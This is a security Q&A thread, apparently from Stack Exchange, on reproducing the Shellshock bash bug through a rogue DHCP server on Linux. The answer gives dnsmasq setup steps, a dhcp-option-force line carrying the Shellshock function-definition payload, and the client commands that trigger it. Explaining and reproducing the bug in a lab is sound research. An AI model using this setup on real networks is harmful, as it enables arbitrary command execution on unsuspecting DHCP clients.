An attacker can exploit the bash bug in the DHCP protocol. On searching , how this can be performed , I found "http://www.sectechno.com/2014/09/28/shellshock-dhcp-server-exploitation/" , but could not found any tutorial showing it on linux machine.

Please explain, how it can used to attack on clients using dhcp server on linux. What configurations need to be done in dhcp server ?

1 Answer 1


In order to reproduce this vulnerability on *nix systems follow these steps:

  • Install dnsmasq. On Ubuntu machine it can be done by running following command:

    sudo apt-get install dnsmasq
  • Add following lines to /etc/dnsmasq.conf configuration file:

    dhcp-option-force=100,() { :; }; echo 'You are going to be shocked..ShellShock !!!'>/tmp/

    The vulnerable code will be inserted in dhcp-option field of the header.

    Where is network interface DHCP server will be listening on, and ip_start, ip_end is the range of IP addresses that server will give out.

  • On target machine verify that an interface is configured to use DHCP client. It can be done by looking at the /etc/network/interfaces file.

    Following lines must be in the file:

    auto "iface_client"
    iface "iface_client" inet dhcp
  • On vulnerable machine enter following command:

    sudo ifdown "iface_client" && sudo ifup "iface_client"

    Where iface_client is network interface DHCP client will acquire IP address for.

Note that iface_server and iface_client must be connected to the same network.

  • Why does the DHCP client put that option in an environment variable and then run bash? Commented Oct 3, 2014 at 14:53
  • Then the same question will be why attacker attacks on the networks. There might be different intensions some attackers does it for money, some for fun and some to help others to overcome from the problem. The attack will be performed by the illegitimate dhcp server over client not by the dhcp client.
    – ifexploit
    Commented Oct 3, 2014 at 15:30
  • My point is this: I can put arbitrary information in the DHCP options field if I own the DHCP server (or if the switch is not adequately secured against a rogue DHCP server). What causes the DHCP client (on Linux) to put that in an environment variable and then run bash? Commented Oct 3, 2014 at 19:11
  • If dhcp client uses bash shell to process the response of the dhcp server, then the attacker can trigger this vulnerability by using dhcp options. If the dhcp will process the response then the code will execute in bash shell.
    – ifexploit
    Commented Oct 4, 2014 at 6:57
  • Yes. I understand that. My question is: why is the DHCP client using bash? Commented Oct 4, 2014 at 12:57

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .